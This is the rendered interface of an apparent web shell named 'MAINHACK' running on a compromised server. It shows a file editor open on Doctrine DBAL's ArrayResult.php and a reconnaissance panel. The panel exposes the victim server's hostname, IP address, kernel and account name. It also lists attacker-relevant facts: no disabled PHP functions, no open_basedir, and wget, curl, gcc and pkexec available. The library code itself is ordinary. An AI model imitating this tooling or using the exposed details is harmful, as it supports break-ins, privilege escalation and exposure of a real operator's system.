[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ArrayResult.php
<?php declare(strict_types=1); namespace Doctrine\DBAL\Cache; use Doctrine\DBAL\Driver\FetchUtils; use Doctrine\DBAL\Driver\Result; use Doctrine\DBAL\Exception\InvalidColumnIndex; use function array_combine; use function array_keys; use function array_map; use function array_values; use function count; /** @internal The class is internal to the caching layer implementation. */ final class ArrayResult implements Result { private int $num = 0; /** * @param list<string> $columnNames The names of the result columns. Must be non-empty. * @param list<list<mixed>> $rows The rows of the result. Each row must have the same number of columns * as the number of column names. */ public function __construct( private readonly array $columnNames, private array $rows, ) { } public function fetchNumeric(): array|false { return $this->fetch(); } public function fetchAssociative(): array|false { $row = $this->fetch(); if ($row === false) { return false; } return array_combine($this->columnNames, $row); } public function fetchOne(): mixed { $row = $this->fetch(); if ($row === false) { return false; } return $row[0]; } /** * {@inheritDoc} */ public function fetchAllNumeric(): array { return FetchUtils::fetchAllNumeric($this); } /** * {@inheritDoc} */ public function fetchAllAssociative(): array { return FetchUtils::fetchAllAssociative($this); } /** * {@inheritDoc} */ public function fetchFirstColumn(): array { return FetchUtils::fetchFirstColumn($this); } public function rowCount(): int { return count($this->rows); } public function columnCount(): int { return count($this->columnNames); } public function getColumnName(int $index): string { return $this->columnNames[$index] ?? throw InvalidColumnIndex::new($index); } public function free(): void { $this->rows = []; } /** @return array{list<string>, list<list<mixed>>} */ public function __serialize(): array { return [$this->columnNames, $this->rows]; } /** @param mixed[] $data */ public function __unserialize(array $data): void { // Handle objects serialized with DBAL 4.1 and earlier. if (isset($data["\0" . self::class . "\0data"])) { /** @var list<array<string, mixed>> $legacyData */ $legacyData = $data["\0" . self::class . "\0data"]; $this->columnNames = array_keys($legacyData[0] ?? []); $this->rows = array_map(array_values(...), $legacyData); return; } [$this->columnNames, $this->rows] = $data; } /** @return list<mixed>|false */ private function fetch(): array|false { if (! isset($this->rows[$this->num])) { return false; } return $this->rows[$this->num++]; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.42 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002